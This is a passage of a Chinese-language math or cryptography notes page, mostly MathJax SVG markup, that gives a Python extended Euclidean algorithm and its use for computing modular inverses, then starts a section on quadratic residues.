316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g><g data-mml-node="mo" transform="translate(4035.2,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(5091,0)"><path data-c="1D454" d="M311 43Q296 30 267 15T206 0Q143 0 105 45T66 160Q66 265 143 353T314 442Q361 442 401 394L404 398Q406 401 409 404T418 412T431 419T447 422Q461 422 470 413T480 394Q480 379 423 152T363 -80Q345 -134 286 -169T151 -205Q10 -205 10 -137Q10 -111 28 -91T74 -71Q89 -71 102 -80T116 -111Q116 -121 114 -130T107 -144T99 -154T92 -162L90 -164H91Q101 -167 151 -167Q189 -167 211 -155Q234 -144 254 -122T282 -75Q288 -56 298 -13Q311 35 311 43ZM384 328L380 339Q377 350 375 354T369 368T359 382T346 393T328 402T306 405Q262 405 221 352Q191 313 171 233T151 117Q151 38 213 38Q269 38 323 108L331 118L384 328Z"></path></g><g data-mml-node="mi" transform="translate(5568,0)"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g><g data-mml-node="mi" transform="translate(6001,0)"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path></g><g data-mml-node="mo" transform="translate(6521,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(6910,0)"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(7788,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(8232.7,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(8832.7,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container>，这里只给出计算 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="3.397ex" height="1.441ex" role="img" focusable="false" viewBox="0 -443 1501.7 637"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D462" d="M21 287Q21 295 30 318T55 370T99 420T158 442Q204 442 227 417T250 358Q250 340 216 246T182 105Q182 62 196 45T238 27T291 44T328 78L339 95Q341 99 377 247Q407 367 413 387T427 416Q444 431 463 431Q480 431 488 421T496 402L420 84Q419 79 419 68Q419 43 426 35T447 26Q469 29 482 57T512 145Q514 153 532 153Q551 153 551 144Q550 139 549 130T540 98T523 55T498 17T462 -8Q454 -10 438 -10Q372 -10 347 46Q345 45 336 36T318 21T296 6T267 -6T233 -11Q189 -11 155 7Q103 38 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(572,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(1016.7,0)"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g></g></g></svg></mjx-container> 的方法</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">egcd</span>(<span class="params">m, n</span>):</span><br><span class="line">    <span class="keyword">if</span> n == <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> m, <span class="number">0</span>, <span class="number">1</span></span><br><span class="line">    gcd, u1, v1 = egcd(n, m % n)</span><br><span class="line">    u = v1 - (m//n) * u1</span><br><span class="line">    v = u1</span><br><span class="line">    <span class="keyword">return</span> gcd, u, v</span><br></pre></td></tr></table></figure><h2 id="计算乘法逆"><a href="#计算乘法逆" class="headerlink" title="计算乘法逆"></a>计算乘法逆</h2><p>对于 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.65ex;" xmlns="http://www.w3.org/2000/svg" width="6.338ex" height="2.195ex" role="img" focusable="false" viewBox="0 -683 2801.2 970.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(806.8,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H568Q583 262 583 250T568 230H124V228Q124 207 134 177T167 112T231 48T328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 446 -40T417 -41Q262 -41 172 45Q84 127 84 250Z"></path></g><g data-mml-node="msub" transform="translate(1751.6,0)"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D53D" d="M584 499Q569 490 566 490Q558 490 552 497T546 515Q546 535 533 559Q526 574 506 593T469 621Q415 648 326 648Q293 648 287 647T275 641Q264 630 263 617Q262 609 260 492V370L275 372Q323 376 350 392T393 441Q409 473 409 506Q409 529 427 529Q437 529 442 519Q444 511 444 362Q444 212 442 206Q436 197 426 197Q409 197 409 217Q409 265 375 299Q346 328 280 335H260V206Q260 70 262 63Q265 46 276 41T326 35Q362 35 366 28Q377 17 366 3L360 -1H24Q12 5 12 16Q12 35 51 35Q92 38 97 52Q102 60 102 341T97 632Q91 645 51 648Q12 648 12 666Q12 675 24 683H573Q576 678 584 670V499ZM137 341Q137 131 136 89T130 37Q129 36 129 35H182Q233 35 233 39Q226 54 225 92T224 346L226 623L231 635L235 648H129Q132 641 133 638T135 603T137 517T137 341ZM549 603V648H495L506 641Q531 621 533 619L549 603ZM409 317V395L400 386Q390 376 375 366L357 355L373 346Q394 331 397 328L409 317Z"></path></g></g><g data-mml-node="mi" transform="translate(644,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></g></svg></mjx-container>，使用延伸版 Euclidean 算出 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="3.397ex" height="1.441ex" role="img" focusable="false" viewBox="0 -443 1501.7 637"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D462" d="M21 287Q21 295 30 318T55 370T99 420T158 442Q204 442 227 417T250 358Q250 340 216 246T182 105Q182 62 196 45T238 27T291 44T328 78L339 95Q341 99 377 247Q407 367 413 387T427 416Q444 431 463 431Q480 431 488 421T496 402L420 84Q419 79 419 68Q419 43 426 35T447 26Q469 29 482 57T512 145Q514 153 532 153Q551 153 551 144Q550 139 549 130T540 98T523 55T498 17T462 -8Q454 -10 438 -10Q372 -10 347 46Q345 45 336 36T318 21T296 6T267 -6T233 -11Q189 -11 155 7Q103 38 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(572,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(1016.7,0)"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g></g></g></svg></mjx-container>, 由于 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="28.502ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 12597.8 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mi" transform="translate(529,0)"><path data-c="1D462" d="M21 287Q21 295 30 318T55 370T99 420T158 442Q204 442 227 417T250 358Q250 340 216 246T182 105Q182 62 196 45T238 27T291 44T328 78L339 95Q341 99 377 247Q407 367 413 387T427 416Q444 431 463 431Q480 431 488 421T496 402L420 84Q419 79 419 68Q419 43 426 35T447 26Q469 29 482 57T512 145Q514 153 532 153Q551 153 551 144Q550 139 549 130T540 98T523 55T498 17T462 -8Q454 -10 438 -10Q372 -10 347 46Q345 45 336 36T318 21T296 6T267 -6T233 -11Q189 -11 155 7Q103 38 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(1378.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(2434.6,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mi" transform="translate(2963.6,0)"><path data-c="1D462" d="M21 287Q21 295 30 318T55 370T99 420T158 442Q204 442 227 417T250 358Q250 340 216 246T182 105Q182 62 196 45T238 27T291 44T328 78L339 95Q341 99 377 247Q407 367 413 387T427 416Q444 431 463 431Q480 431 488 421T496 402L420 84Q419 79 419 68Q419 43 426 35T447 26Q469 29 482 57T512 145Q514 153 532 153Q551 153 551 144Q550 139 549 130T540 98T523 55T498 17T462 -8Q454 -10 438 -10Q372 -10 347 46Q345 45 336 36T318 21T296 6T267 -6T233 -11Q189 -11 155 7Q103 38 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(3757.8,0)"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z"></path></g><g data-mml-node="mi" transform="translate(4758,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mi" transform="translate(5261,0)"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g><g data-mml-node="mo" transform="translate(6023.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(7079.6,0)"><path data-c="1D454" d="M311 43Q296 30 267 15T206 0Q143 0 105 45T66 160Q66 265 143 353T314 442Q361 442 401 394L404 398Q406 401 409 404T418 412T431 419T447 422Q461 422 470 413T480 394Q480 379 423 152T363 -80Q345 -134 286 -169T151 -205Q10 -205 10 -137Q10 -111 28 -91T74 -71Q89 -71 102 -80T116 -111Q116 -121 114 -130T107 -144T99 -154T92 -162L90 -164H91Q101 -167 151 -167Q189 -167 211 -155Q234 -144 254 -122T282 -75Q288 -56 298 -13Q311 35 311 43ZM384 328L380 339Q377 350 375 354T369 368T359 382T346 393T328 402T306 405Q262 405 221 352Q191 313 171 233T151 117Q151 38 213 38Q269 38 323 108L331 118L384 328Z"></path></g><g data-mml-node="mi" transform="translate(7556.6,0)"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g><g data-mml-node="mi" transform="translate(7989.6,0)"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path></g><g data-mml-node="mo" transform="translate(8509.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(8898.6,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(9427.6,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(9872.2,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(10375.2,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(11042,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(12097.8,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></svg></mjx-container>，可得 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex;" xmlns="http://www.w3.org/2000/svg" width="7.74ex" height="2.072ex" role="img" focusable="false" viewBox="0 -833.9 3421.2 915.9"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D462" d="M21 287Q21 295 30 318T55 370T99 420T158 442Q204 442 227 417T250 358Q250 340 216 246T182 105Q182 62 196 45T238 27T291 44T328 78L339 95Q341 99 377 247Q407 367 413 387T427 416Q444 431 463 431Q480 431 488 421T496 402L420 84Q419 79 419 68Q419 43 426 35T447 26Q469 29 482 57T512 145Q514 153 532 153Q551 153 551 144Q550 139 549 130T540 98T523 55T498 17T462 -8Q454 -10 438 -10Q372 -10 347 46Q345 45 336 36T318 21T296 6T267 -6T233 -11Q189 -11 155 7Q103 38 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(849.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="msup" transform="translate(1905.6,0)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,363) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mo"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(778,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></g></g></svg></mjx-container></p><h1 id="二次根"><a href="#二次根" class="headerlink" title="二次根"></a>二次根</h1><p>定义 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.65ex;" xmlns="http://www.w3.org/2000/svg" width="6.338ex" height="2.195ex" role="img" focusable="false" viewBox="0 -683 2801.2 970.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(806.8,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H568Q583 262 583 250T568 230H124V228Q124 207 134 177T167 